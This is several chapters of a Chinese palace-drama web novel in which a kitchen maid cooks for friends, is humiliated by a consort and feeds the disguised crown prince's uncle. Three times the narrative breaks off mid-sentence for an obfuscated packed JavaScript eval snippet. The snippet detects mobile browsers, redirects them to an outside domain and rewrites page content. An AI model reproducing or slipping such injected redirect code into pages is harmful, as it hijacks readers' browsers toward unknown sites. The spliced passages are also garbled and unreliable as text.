陈叶也是这时才明白，今日大费周章演这样一出，竟是为了暗戳戳地表示小青子在东宫受不公待遇的事解决了，并且他已经有了更好的去处。果然父母爱子则为之计深远，哪怕只是一点可能影响到自己孩子前途的障碍，皇后娘娘都会一一为他扫除。 只是苦了自己，她与那小青子只是一面之缘，今日为了他竟是跪了无数次，小青子你欠我的用什么还？这又何尝不是吃了一顿下马威，这是在告诉自己，小青子已经安排好了，你最好也闭上你的嘴，否则你在我面前可是要下跪的。只要陈叶是聪明人，为了保命，她也不会再多说什么。 陈叶弄明白了此行目的，便立刻表态，“娘娘宅心仁厚，奴婢替小凳子谢过娘娘。”对于小青子改名小凳子，陈叶没有什么不适应，小国舅的名讳也带青，小青子若是不改名，便是冲撞了主子的名讳，这是能拿来做大文章的。在这宫里连命都难以保住，更遑论是名字呢？ “行了，你领赏去吧。”陈叶的上道令白肃云很是满意，也不多为难她，便放她走了。 “谢娘娘，奴婢告退。”陈叶再次一拜，低头退出殿内。 外头红霞已经备好了赏赐，赏银五十两，摆了满满两盘，白花花的银子摆在眼前，陈叶心中有再多的怨气也被抚平了。虽然今天被敲打了，但是她得到了五十两啊，她一个月的月俸也才五两银子，这直接就赏了她十个月的月俸！皇后娘娘不愧是后宫之主，出手大气阔绰，如果宫里所有主子都像皇后娘娘一样就好了。 陈叶走后，白肃清迫不及待地问白肃云，“阿姐，小凳子是谁？” “你看了就知道了，绿意把小凳子带上来。” 白肃清看着眼前这和自己有着七八分像的小太监，震惊了，“阿姐，这是？” “以后你要是想在宫里溜达，顶着小凳子的名头便是，只有一点，不许再干危及性命的事。另外，最后避开那些眼熟你的人。”白肃云点了点头，看着欣喜若狂的弟弟，叮嘱道。 “谢谢阿姐！”白肃清本以为自己再也没机会扮小太监了，以后在宫里处处掣肘，可没想到阿姐竟然直接给自己找了个替身。这一刻，白肃清想到的竟然是以后可以时时去膳房要吃食了，那宫女做吃食是有些功夫在的。 “还有，不许让小凳子顶替你读书。”白肃云又补了一句，她要是不提前说，这小子日后定要钻空子。 宫道上，陈叶跟在红霞身后，后面还跟着两个小太监，手里捧着那两盘赏银。赏银在太阳的照射下闪闪发光，格外亮眼。 远处，一队人抬着步辇相向而来，是淑妃，奉皇上之命前去伴驾。 王富贵眼神好，老远就看到了红霞与陈叶二人，凑到淑妃跟前小声道，“娘娘，前面是皇后娘娘身边的宫女，还有之前那个当着您的面就敢勾引皇上的贱婢。” 一听到勾引皇上，淑妃闭着的眼立马睁开了，细细看了两眼，确认没错，“她和皇后宫里的人怎么会有关系？难道皇后也想学德妃？待会停在她们面前，本宫倒要看看这贱婢想耍什么花招！” 彩霞是皇后宫里的一等宫女，对宫里的许多事情都有了解，自然也知道陈叶从前被淑妃为难过的事。远远认出是淑妃的采仗，便提前叮嘱道，“前面是淑妃的采仗，你往我身后站站，呆会相遇便如平时一样下跪让道便可，若是她为难你，你别顶撞一切有我。今日你刚得了娘娘的赏，她不好罚你。” “是，多谢红霞姐姐。”红霞的话令陈叶心安，她从中莫名地听出了一股霸总味。不愧是皇后娘娘宫里的宫女，和王尚宫一样坚固可靠。 两队人相逢，红霞带着陈叶下跪给淑妃让道。虽说红霞给了陈叶满满的安全感，但她还是默默祈祷，淑妃当她们不存在。 随着王富贵一抬手，淑妃的采仗正正好停在她们面前，陈叶也死心地闭上了眼，好了，这下要跪到地老天荒了。没完了简直是，再这样跪下去别说退休了，要不了几年自己的膝盖就得废，此刻陈叶想考女官的心强烈到了极致。 果然淑妃没有叫起，就这样让她们跪着，“红霞？” “是，奴婢见过淑妃娘娘，淑妃娘娘千岁千岁千千岁。”红霞虽然跪着，但背却挺得笔直，不卑不亢。她在凤仪宫内是皇后的贴身婢女，但出了凤仪宫，她代表的就是皇后娘娘的脸面，代表的是整个凤仪宫。 “后面是谁？本宫看着觉得甚是眼熟。”淑妃的目的不在红霞，也不欲与她多纠缠。 “禀淑妃娘娘，是尚食局的一个小宫女，做的吃食入了皇后娘娘的眼，正领了赏回去当差。” “本宫问你了吗？” “淑妃娘娘恕罪，奴婢等人还有皇后娘娘的吩咐在身，不敢耽误时间。若是娘娘想与奴婢叙旧，明日可以来凤仪宫寻奴婢。”红霞一口一个皇后娘娘，压得淑妃无话可说。 淑妃死死地盯着红霞，咬牙切齿，“王富贵！走！” “恭送淑妃娘娘。”红霞极为恭敬，一点错处都没让淑妃寻到。 待淑妃的采仗走远，红霞领着陈叶站起来。 “红霞姐姐，多谢。”陈叶满眼冒星星，此刻的红霞在她眼中的形象已经坚不可摧，如同参天大树一般高大。 “娘娘让我将你送回去，我自然不能让你在途中出事。”红霞底气十足。 红霞将陈叶送到膳房时，正巧李掌膳也在，李掌膳见陈叶又是捧着赏赐回来，心一跳，不安极了。便向红霞打听情况，红霞体贴地将陈叶得赏的过程说了个大概，好让李姑姑安心。就这么拖延了一会，才回宫去。 陈叶带着赏银归来，惹了众人的羡慕。 “陈叶姐姐，你好厉害，次次都能得赏。”银叶还是等膳房的活都干完了，才发觉陈叶不在，忧心了大半天。现在陈叶平安回来，她自然高兴。 碧云见陈叶身旁围了一大群人，不舒服了起来，“是啊，有的人把自己本该做的事丢给好姐妹做，独自一人去皇后娘娘面前得脸领赏去了。” “让一让，你挡到我的路了。”彩叶如同幽灵一般飘到碧云身后，低声耳语，吓了碧云一大跳。 “你干什么？这么宽的路非得从我站的地方走？”碧云心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323130|183182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里本就不舒服，彩叶这么一作弄，更气了。 “那你干什么？自己的事都干不好还非得管别人的事？” 今日碧云刚被郑掌酝责骂，彩叶这话算是戳了她的痛处。 碧云当众被下了脸，很是难堪，但还是嘴硬，“怎么？你就能干好你自己的事？” “我能不能你不知道？我不仅能干好自己的活，也能帮我想帮的人干好她的活，就不用你多操心了。” “你……”碧云语塞，气急了，蹲着哭了起来。 彩叶可不惯着她，只对着陈叶道，“回来了就好。” 勤政殿，淑妃一见到李仲君便泫然欲泣，引得他直问，“爱妃这是怎么了？” “皇上~臣妾在来见你的路上受了好大的委屈。”淑妃拉着李仲君的手，撒起了娇。 “谁敢让朕的淑妃受委屈？爱妃告诉朕，朕替你教训教训她！”李仲君闻着淑妃身上的香味，眼神都迷离了。 “皇上可不许食言。”淑妃献上香吻一个。 “爱妃放心，朕贵为天子，决不食言！” 淑妃一听，脸都笑开了花，立马道，“是红霞，她今天在大庭广众之下驳了臣妾的面子，让臣妾好没脸面，皇上替臣妾罚她好不好？” “红霞？朕记得她是皇后的贴身宫女吧，皇后身边的人一向懂规矩，不会以下犯上。爱妃莫不是搞错了？”淑妃一提起皇后的贴身宫女，李仲君就想到皇后那张冷艳的面容，和把他当狗一样看的眼神。他莫名地有些兴奋，自己已经有一段时间没见过皇后了，今夜要不就去皇后宫里留宿好了。想到这，刚刚自称决不食言的皇上已经心不在焉，神色飘飘了。 “皇上！”淑妃还想说些什么，但却被李仲君打断了。 “行了，你先回宫吧，朕还有要事要做。”草草把淑妃打发走，李仲君朝着殿外喊，“黄振！宣太医！” 他要重振雄风！ “如何？朕今夜可否用药？”李仲君已经素了好几日了。 “圣上肾气不足，最好不要用药。”徐太医斟酌良久，还是秉持医者仁心的态度，对李仲君说了实话。 自德妃宫里那夜后，李仲君已经喝了快七天的药了，这几日他每天耐着性子听从医嘱喝药，没想到还是得不到自己想要的结果，怒从心起，起身便给了徐太医一个窝心脚，“没用的东西！朕养你们干什么吃的！” 徐太医已经年近花甲，哪禁得住这样踹，直接翻倒在地，但又不敢耽搁，慌忙跪地磕头请罪，“皇上恕罪。” “罢了，那你说朕什么时候才可以用药行房事？” “下官医术不精，大约还需半个月。皇上，房事不可贪多，还需保重龙体啊。”徐太医心口坠坠的疼，豆大的汗珠从额头滑落。 “半个月！你确实是医术不精！朕养你们就是来保养朕的身体的，现在七日都过去了，你还说不行！”李仲君越想越气，对着跪着的徐太医又是一脚，这一脚落在了徐太医的背上。 “皇上……息怒。”徐太医腹背都受了一脚，喉头涌上腥气，又不敢吐出来脏了李仲君的眼，硬是咽了下去。不料咽得太急，呛住了，咳个不停。 “息怒息怒，你们这群人就知道息怒！朕的问题是一点都解决不了！”看着咳个不停的徐太医，李仲君心头更烦躁了，“滚滚滚，给朕滚出去！” “微臣告退。”徐太医强撑着站起来，弯着腰捂着心口退出勤政殿。 但徐太医毕竟已经年老，在回太医署的路上，还是没撑住吐了一口老血，昏了过去。 8. 荷叶鸡 红霞才从尚食局出来没多久，便迎面看到徐太医捂着胸口吐血昏倒在宫道上，身后的小医官手足无措。 见此情形，红霞连忙喊人将徐太医送回太医署，叮嘱在太医署值班的太医为其医治。随后便匆匆回了凤仪宫。 徐太医年近花甲，是太医署资历最老的御医，是掌管太医署的太医令，整个宫廷内只服侍皇上与皇后。能让徐太医如此狼狈的，除了皇后便只有皇上了。刚刚的小医官说徐太医在勤政殿挨了皇上两脚，莫非皇上又发狂了？那娘娘……想到此，红霞跑了起来，也不知橙香她们几个能不能护住娘娘。 “娘娘！”红霞飞奔进殿，看到皇后安然无恙地坐在桌边用膳，才惊觉自己忘了规矩，立马跪下请罪，“奴婢失礼，请娘娘责罚。” “这是怎么了？这样着急？”白肃云了解红霞，若不是急事，断然不会如此失礼。 “奴婢回来的路上正巧碰到徐太医吐血昏倒，他身边的医官说他被皇上踹了两脚，奴婢怕皇上……这才失了礼数。” 闻言，白肃云叹了口气，登基之前她与李仲君也算琴瑟和鸣，川儿便是在那时有的。但登基之后，他仿佛变了一个人，整日耽于享乐脾气也愈发暴躁，自己与他也越来越不在一条路上。再这样下去，她的川儿能不能顺利长成继位就是个谜了，“准徐太医半月假，让周医令为其好好医治，从本宫的私库中挑几株百年人参给徐太医送过去，叮嘱他好生养着身子。再让哥哥给徐太医家里送一百两银子，务必避开徐太医送到他夫人手上，就当是本宫的心意。”徐太医虽然为人清廉古板，可作为医者，他医术高超、直言不讳，可以说是从未失职。若是遇上明主，日子定然比现在好过得多。 “是。”红霞立马起身前去安排。 “娘娘......”王尚宫的神色掩不住的担忧。 “无妨，他待我还算是有几分体面的。传人进来把这些菜撤了吧，怪没有胃口的。”过分的事也就干过那一次罢了，可即使是一次，她也觉得难受。白肃云不再去想李仲君的事，转而考虑起川儿的未来，他才才六岁，若是李仲君早逝，他如何能平安继位？就算目前朝堂父亲与哥哥权势最大，可若是其他狼子野心之人结盟，那也是双拳难敌四手，“另外，让江太傅更改一下川儿的课程，多讲些雄主的雷霆手段，治世仁君的怀柔政策适当减减，武术课再延长一刻钟。这些先不要让父亲知道。” 凤仪宫氛围沉闷，尚食局的气氛就轻快不少。 银叶缠着让陈叶给她也做一份饮子解解暑，彩叶虽没说，但看样子也是想喝的。 索性陈叶就多做了些，先给李掌膳等几位女官送了些去，随后在膳房与银叶、彩叶分着喝了起来。 银叶才喝一口，便夸道，“不愧是陈叶姐姐，做的真好喝！” 陈叶笑眯眯的，“好喝你就多喝些，管够！”然后眼神包含期待，看着彩叶。 彩叶避开视线，举起碗一口气喝光，碗正好挡住了陈叶的视线，也挡住了她的脸。 陈叶也不管，还盯着她笑，直至碗放下，彩叶的脸又露出来，她被盯得无所适从，脸不自觉红了起来，平日里清脆动人的嗓音这下只干干巴巴吐出两个字，“好喝。” “谢彩叶姐姐夸奖，彩叶姐姐还想吃什么？小的给你做。”陈叶对着彩叶行了个谢礼，把她推到放食材的地方，让她看着菜点。不是她自夸，经过几日的恶补，只要不是太繁杂的菜式她都能做出来。 “哇！那陈叶姐姐，我想吃荷叶鸡！”听见有吃的，银叶赶忙凑到两人面前。 看着兴致颇高的两人，彩叶很是为难，“咱们刚用完午膳，我已经很饱了，而且现在也没有灶火啊。” 一听彩叶想拒绝，银叶脑子转得飞快，在吃上面没有人比她更用心了，“彩叶姐姐，想法不要这么局限，咱们可以晚上吃呀，陈叶姐姐上次还欠咱们一顿饭呢！” 这么一说，陈叶想起来了，她们三个能凑到一起休息的日子真的太少了，很多时候都是两个人能休息，另一人就无法休息，“好！那今晚我就把饭给你们补上！那我现在就出发了！” “啊？去哪？” “去找黄御厨买你要吃的荷叶鸡啊，这荷叶鸡我还真不会做。彩叶想吃什么？若是我也不会做便一并买了。” “既然荤菜已经有了，我便来一道素炒枸杞芽吧。” “这个简单！且看我今晚给你露上一手！”陈叶拿上银子，便去找黄御厨，定下晚上的荷叶鸡。 她一溜烟就走了，留下彩叶与银叶在原地面面相觑，相视而笑。 猛地银叶好似想到了什么，哭笑不得问银叶，“可是，咱们在哪吃啊？”她们不是女官，没有自己的屋子，在房里吃肯定吃不现实的，那么多人盯着呢。 “对呀！天呐！那我们怎么吃！”银叶笑不出来了，到嘴边的晚饭要飞了谁笑得出来？ “要吃什么啊？”李掌膳本是来寻陈叶的，结果陈叶没看到，倒是看见这两人在膳房讨论吃食。 “姑姑好。”银叶与彩叶行礼 “怎么没见陈叶？”李掌膳问。 “我们刚刚在说晚上想小聚一顿，陈叶姐姐便急着找黄御厨订荷叶鸡去了。但不过今晚可能吃不上了，咱们连个吃饭的地都没有。”银叶圆圆的眼睛里充满了失落。 “嗯？”李掌膳很是温柔，“你们姐妹三人这是终于和好啦？” “那本官可得好好恭喜你们。今夜原是本官值夜……”李掌膳拉长了声音，本想卖个关子，奈何银叶太积极，“姑姑，我替您值夜！” 银叶想的很简单，女官值夜都有专门的屋子供其休息，如果替李掌膳值夜的话，那她们可不就有地方小聚啦！ 看着人都快跳起来的银叶，李掌膳没忍住敲了她一个脑瓜崩，“傻！你们若是替本官值夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323131|183182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，且不说这是本官擅自离岗，你们明日是都不用当差了不成？本官的意思是，今夜本官值夜，房中无人，你们可以小聚。记住一点，聚完以后收拾干净。” “谢姑姑！”银叶和彩叶欣喜若狂。 “行了，人生难得有三两好友，看见你们和好本官也很高兴，当然不能给你们的姐妹情拖后腿了。我就先走了，呆会陈叶回来了叫她来找我。”言毕，李掌膳忙去了。 陈叶那边，她将三两银子递给黄御厨，“黄御厨，这是三两银子，晚上订一只荷叶鸡。” 黄御厨闭着眼躺在摇椅上喝茶，不说话只摆摆手，随后又伸出五个手指。 这是要五两银子，这价格在外面都购买上百只鸡了，这黄御厨可真是心黑！可谁叫他做的荷叶鸡满宫认可呢？陈叶没办法，从袖子中又拿出两小块，装进荷包，递给黄御厨。 这钱赚得可真是容易啊，一个月的月俸就赔进去了，还好今日得了赏，不然肯定不舍得。要是自己也能做出好吃的荷叶鸡，要是自己的厨艺也能如此高超，那自己又怎会缺银子？陈叶的脑海中冒出来退休养老的另一条路，攒银子。但很快她又放弃了这个想法，银子确实是硬通货，可也要有能力保得住。这样的时代，一个女子身上带着巨额财产，根本不可能活下去，还是老老实实当官等退休吧。 黄御厨掂量了一下，足数，满意了，开了金口，“晚上几时？什么地方？我让人给你送过去。” “酉时三刻做好便可，我自会来取。” “也行，我还省了一趟跑腿费。” 陈叶本想着反正离得也不远，自己来拿定然更方便，没想到竟然还给黄御厨省钱了，本就滴血的心头，血滴得更甚了。 见没动静，黄御厨睁眼一看陈叶还在，把荷包往怀里一揣，开始赶人，“怎么还不走？钱款已付，概不退还。” 陈叶原是想商量商量跑腿费，被黄御厨这么一赶，便知道没拿回来的可能了，只得回去。 罢了，谁叫人家是御厨呢，有几分架子是应该的。 陈叶刚回到膳房，便被银叶告知李掌膳找她，又马不停蹄地去寻李掌膳。 “见过姑姑，不知姑姑寻我何事？” “知道你最近常呆在膳房练厨艺，但也要注意身体，不可过度劳累。这是我近几年自己钻研出来的菜谱，你多看看，也多练练，或许日后你考女官用得着。”李姑姑从袖中取出一个小册子，递给陈叶。 陈叶连连摆手，“不行，姑姑，这太贵重了，我不能要。”每个女官手里都捏着几个只有自己才会做的菜，这是立身之本，她不能拿。 “拿着吧，姑姑我还有私藏。要想把我的私藏全拿走，那得等你考上女官再说。” 李掌膳不肯退，陈叶只好收下，“谢姑姑。” “行了，忙了半天也没歇个脚，赶紧去休息一下，再过会可就要忙着做晚膳了。” 9. 给银子！ 天色已暗，陈叶给李掌膳送了些吃食，三人便围坐在桌边，陈叶给银叶彩叶各斟上一小杯柚见清茗，明日她们还要当差，不能喝酒。 “来吧！赶紧尝尝。”陈叶率先动筷，夹起一筷子冬菜肉末又配了口米饭。 冬菜的酸脆与肉末的油润在口腔紧密结合，激发出更多的口水，此时配上蒸得恰到好处的米饭，又细品出一股清甜。再来一口清炒枸杞芽，苦后回甘，胃口大开。 银叶则最先盯上了荷叶鸡，夹起一块鸡肉细细品尝起来，肉质鲜嫩，带着荷叶的清香，“哇！百闻不如一尝，黄御厨做的荷叶鸡果然好吃！彩叶姐姐，你快尝尝。” 彩叶是最不紧不慢的，先吃了口白饭，然后才开始夹菜，第一筷子便是自己提出要吃的清炒枸杞芽。在未入宫之前，一家人吃不上饭，母亲父亲去地里劳作，她便背着弟弟牵着妹妹去野外采这菜。不过当时家里连油都没有，只能白水煮，一嘴下去只能尝到苦味，嘴里也只有苦味。现在再吃，不只是心境变了还是氛围变了，竟尝出了丝丝甘甜。 那时彩叶也不大，不过九岁。后来弟弟病重，家里急需用钱，父亲母亲便想将她卖进青楼换得更多银钱。她奋起反抗说自己宁愿为奴为婢也不愿做卖身的窑姐，可他们却说自己傻，让人伺候的好日子不过，要去过那伺候人的日子。幸而当时碰上宫女采选，她偷了籍契逃出家，独自入宫做了宫女，才逃过一劫，但也从此没了家人。这么多年，她从未后悔过，要用自己的一生去换弟弟一命，她不愿！ 可她还是难过，明明是一家人，为什么弟弟病重被放弃的却是她？ 好在现在她有了两个将自己放在心上的家人，想到此处，彩叶落下泪来。 陈叶见彩叶一直不做声，便偏过头去看她，一看才发现她竟默默流着泪，顿时有些慌张。彩叶好强，又不善言辞，什么事情都喜欢憋在心里，“怎么哭啦？” 彩叶不说话，捂住脸，避开陈叶与银叶的视线，闷闷道，“没什么。” 她既不愿讲，陈叶也不强求，只得搂住她逗乐，“莫不是我们彩叶姐姐被我的厨艺震惊到无地自容，只能以流泪表示自己的敬佩之情？” “我只是眼里进虫子了，别乱说。” “好啦，我胡说的，彩叶姐姐莫生气” “但今天的菜确实好吃。”彩叶擦干净脸，眼眶红红的。 “那彩叶姐姐你多吃点，这个鸡腿也给你。还有这个，这个也多来点。”银叶闻言，直接给彩叶的碗里夹上一只鸡腿，又夹了好些菜，把她的碗堆得满满的。 彩叶看着碗里的菜哭笑不得，“够了够了，我吃不完了。” “那以后等我考上女官，有了自己的屋子，有了足够的银子，我们天天这样吃！”气氛好转，陈叶也活跃起来，“来来来，咱们还没举杯呢！” 三人举杯，异口同声，“愿年年有今日，岁岁有今朝！” 东宫，白肃清屋内。 “小...舅...舅...我好饿呀...”小太子拖着声音，有气无力的，不知又从何处冒了出来。他下午多上了一刻钟的武课，累极了，整个人都很没精神，也不如往日活泼好动。 坐在桌边沉思的白肃清被吓了一跳，“你怎么又在我房里！？” “嘿嘿，你猜。”李景川咧嘴一笑，露出缺了门牙的牙齿，看上去格外憨。 “你牙怎么缺了？看得怪不习惯的。” “今天上武课时，摔了一跤。”把本就摇摇欲坠的门牙给摔掉了，李景川委屈巴巴的，今日武课师傅比平时严厉了不少，小舅舅教的那些偷懒的法子一点也不管用了。 “饿了你找下人啊，找我干嘛？我又不是厨子。” “可是你是我的小舅舅啊！而且你上次晚上扮成小太监就是偷偷出去找东西吃了，别以为我闻不出来。好不好嘛~小舅舅~你最疼我了~”李景川软软糯糯地拉着白肃清的衣袖撒娇。找下人要吃食也可以，但是第二天定然会被母后知道。母后虽然善待宫人，但在自己的事上从不含糊。何况晚膳没吃饱纯粹是因为自己太累了没胃口吃，现在缓过来了，已经觉得饿得难受了。 白肃清浑身被电击了一般，鸡皮疙瘩瞬间就冒了出来，恶寒道，“咦！你都七岁了！还撒娇？你羞不羞！” 李景川眨巴着眼睛，颇为受伤地看着白肃清，“小舅舅，你嫌弃我......” “好了好了，别演了，我去给你拿就是了。”无奈之下，白肃清只得又穿上太监服，把自己装扮成小凳子，去膳房给李景川寻吃食。 天完全黑了，陈叶把吃完的碗筷收拾好送去膳房，并顺路将房门钥匙归还给李掌膳。 陈叶打着灯在永巷快步走着，虽然宫道上零零散散也有宫女太监走过，不过还是比白日冷清了不少。 不知怎的陈叶总觉得身后有东西跟着她，她走的愈发快了，心里也后悔起来，早知道刚刚就不嘴硬了，让彩叶和银叶陪着自己一起来。 身后的呼吸声越来越近，陈叶心一横，豁出去了，从食盒中拿出陶罐，她倒要看看到底是什么人敢在宫里这样肆意妄为，跟踪宫女。 猛地转身，陶罐一举，便使劲砸下去。 白肃清刚入永巷，便看见一个熟悉的背影，走进以后愈发确定这个熟悉的背影就是陈叶。他心下一喜，碰见熟人了！这下拿吃食方便多了！可不知怎么回事，陈叶越走越快，自己都差点跟不上她了，只能小跑起来。他没想到陈叶竟然会突然转身，原本看见陈叶停下来他还是有些喜出望外的，总算能追，不知道这宫女吃的什么，走得那样快。等到发现陈叶转身是手上举着东西已经来不及躲了，只能结结实实地挨了一陶罐。 “嘶。”那人捂着额头，响起吸气声。陈叶心受鼓舞，越战越勇，举起陶罐打算又来一下，这陶罐质量还挺好，刚刚那一下竟然没碎。好陶罐，今夜你立功了，明日我就把你摆上灶台供着。 眼见陈叶又要给他来一下，白肃清急了，急忙出声，“陈叶姐姐别打，是我，是我小青……小凳子啊。”再给他来一下那还得了，现在脑袋估计都已经肿起一个大包了。 听见小凳子三个字，陈叶想起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323132|183182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，那个打破了自己美好生活，让自己起起跪跪、跑来跑去的小太监，“小凳子？你不是在国舅爷身边当差吗？” “陈叶姐姐好记性，姐姐这是去哪？” 陈叶把陶罐放回食盒，边走边回，“还能去哪？膳房。” “好巧啊，姐姐，我也去膳房，不知姐姐能不能通融通融，帮我弄些吃食。” “你都到国舅爷身边当差去了，怎么？还缺口吃的？”陈叶细细打量着小凳子，粗粗一看他与白日里自己见到的国舅爷确实很像，但细看又不那么像。尤其是身上的气质，国舅爷更像是意气风发的少年郎，而小凳子则更带一些阴郁的味道，说白了就是太监味。 “姐姐就别说了，国舅爷今日被皇后娘娘罚了，不许用晚膳。这不饿急了，打发我来给他寻吃食。这膳房给各宫送什么吃食平日里都是走账目的，我这膳房也不认识人，正苦恼呢。还好今夜碰见了陈叶姐姐你，不然今天还真不知道该怎么办，要是没带吃食回去惹了主子不高兴，这刚得的好差事能不能保住还另说。姐姐今日可得帮帮我。”白肃清一口一个姐姐，企图拉近自己和陈叶的关系。 膳房的东西都是走账目没错，可这账目的操作空间很大，平日里做菜分量差个一星半点根本看不出来。而且她作为掌厨宫女，也是有自己用来研究吃食的份例的。与值夜的姑姑和公公打好关系她也可以，毕竟都在同一屋檐下做事，大家都是我方便你你方便我。总而言之，给小凳子弄吃的，于她而言不算什么难事。若是从前，她随口便应下了。 但她已经不是从前的陈叶了，她是被黄御厨污染过的陈叶！ 她看着白肃清，也不说话，素手一伸。 白肃清也看着陈叶，这是要干什么？把手给她？这不太好吧，男女授受不亲。但陈叶的手一直伸着，犹豫了片刻，他还是将手放在了她手上。 陈叶：？谁要摸他的手？ 气不打一处来，她将白肃清的手重重拍下去，“你手干什么呢！拿银子来！要想不走账，那就得拿银子填，打点看炉火的公公不要钱吗？食材不要钱吗？难不成次次我都给你贴？那我还要不要活了？” “哦！好的，姐姐你等等。”白肃清在身上翻找起来，然而翻遍了全身，也只找到了一块小小的银锭，把它往陈叶的手里一放，“姐姐，给。” 陈叶看着还没长大便出来打工的小鼻嘎，一两银子都没有。算了，蚊子再小也是肉，就做扯面片好了，顶饱简单方便还快。 “陈叶姐姐，能不能做鸡汤细丝面，我家主子喜欢吃这个。”川儿人小，晚上吃多了不好克化，鸡汤细丝面营养又好克化。 细丝，一听就麻烦，陈叶不想干，“做不了，鸡汤那是给各宫主子留着的，不好动。只能做猪油清汤扯面片。” “那……”白肃清还想说些什么。 陈叶停下来，看着他，伸出手，示意得很明显了。 白肃清悻悻地闭上了嘴，没想到啊，他堂堂国舅爷竟然有一日会折在银子上！你这宫女给小爷等着！总有一天小爷要拿一堆银子吓死你！ 10. 他何曾吃过剩饭！ 陈叶让白肃清在尚食局外等着，自己去里面把吃食带出来。 尚食局里陈叶打点好一切，把做好的面片装进食盒，带了出来。 白肃清蹲在角落，如望夫石一般望着尚食局门口，从前都是别人等他，这次轮到他等别人才发觉等待如此难熬。当他看见陈叶的身影出现时整个人眼睛都亮了，迎上去接过食盒，“多谢姐姐，我来，别累着你。” “行了行了，别殷勤了，赶紧回去交差吧。别忘了下次把食盒还回来。”陈叶叮嘱道，“夜黑路不好走，路上走稳些，别撒了。” 她还等着这一单积累口碑和老客户呢，小凳子若是发挥好，她就有希望积累第一位客户。虽然国舅爷不一定日日被皇后娘娘罚，但只要他再被罚一次，难说不会找到自己给他提供吃食，届时银子岂不是哗哗哗地往口袋里掉。 “我知晓了，多谢陈叶姐姐，我这就先走一步了，主子还等着呢。”白肃清只当陈叶是关心自己，心道这宫女人还挺好，只是力气着实有些大，自己的额头现在还痛着呢。思及此白肃清轻轻往额上一摸，摸到一个肿包，嘶！好痛！ 东宫，李景川的肚子已经快饿扁了。 白肃清一进门看见的就是一动不动地趴在桌子上的李景川。 “小舅舅，你终于回来了......”李景川有气无力。 “饿坏了？快吃吧。”白肃清将食盒打开，端出陈叶做的扯面皮放在李景川面前。 扯面皮看上去很寡淡，但闻起来却有股诱人的香，勾起了李景川胃里的馋虫。他拿起筷子一口一口地吃着，面皮劲道、面汤鲜醇，他吃得虽急却并不难看，不一会便是半碗下肚。 白肃清看着李景川一口一口地把面皮吃进嘴里，默默地咽了咽口水。不知为何，这宫女做出的吃食明明那样清淡，却总是能勾起自己的食欲。 李景川毕竟是小孩，半碗下肚已是饱了，便放下筷子，“小舅舅，你从哪找来这样好吃的面皮的？” “想知道？” “嗯嗯！”李景川已经恢复了精神。 白肃清学着陈叶的样子不语，伸出一只手递到李景川面前。 李景川不明白小舅舅到底要干什么，疑惑地把手递给他，“小舅舅，这和我的手有关系吗？” 白肃清微微一笑，“没有，但这和银子有关系。” 闻言李景川哼哧哼哧翻出自己的钱匣子，打开，一片金光。随手拿了一块递给白肃清，“小舅舅，给你，你告诉我吧。” 白肃清看着满满一匣子的金子，酸了，他从未有过这样的待遇，甚至越长大他的月钱还越来越少了，不然今天也不会只掏出那么小一块银子。他接过金子，放好，神秘一笑，吐出三个字，“御膳房。” “我当然知道是御膳房，我想知道的是膳房哪个宫女或是女官做的。” 白肃清又伸出手示意。他也不是觊觎自己外甥的钱财，主要是李景川还太小了，他想帮他保管一下。 “小舅舅！你也太黑了！”李景川人虽小，也不是好糊弄的。白肃云自他识字起便教他识五谷、辨杂粮，让他明白宫外一斤粮钱几何，也让他明白宫中治理与朝堂治理一样需要睁一只眼闭一只眼。他知道刚刚给出去的这一块金子到外头够一个贫苦人家过几年的好日子了，所以才会讲白肃清心黑。 “我心黑?你看看我的额头再说话呢？”白肃清指着自己的额头，开始卖惨，“我给你带吃食回来也是花了银子的好不好，你以为膳房的人都那么好打交道，都下值了谁还给你做吃食，你又不许我暴露身份。唉，我这个小舅舅大半夜跑出去给你寻吃食，费力费人又费银子，结果还要被你这样误会。”白肃清真假参半说得条条在理，还掺杂着丝丝难过。 李景川这才看到白肃清额上的伤，“小舅舅我错了，我不该这样想你。原来是宫人这么心黑，一碗面皮竟敢卖的这样贵，还敢欺负你，明天我就让母后整顿一下后宫的风气！” 白肃清可不希望整顿宫里的风气，不然自己可不就暴露了吗，道，“那明天阿姐问起你是如何知道的你当如何？而且宫里这样的事越是抓得严越容易藏得深，价格可能还会再翻上好几番，与其让他们躲起来，不如让他们就在我们的眼皮子底下也翻不出什么浪来，你说是不是？” 李景川想起太傅给自己授课时给自己讲的治国之道，也是这个理，而且母后那里确实也不好解释，“那行吧，就看在这厨子做的好吃的份上，饶过她了。” 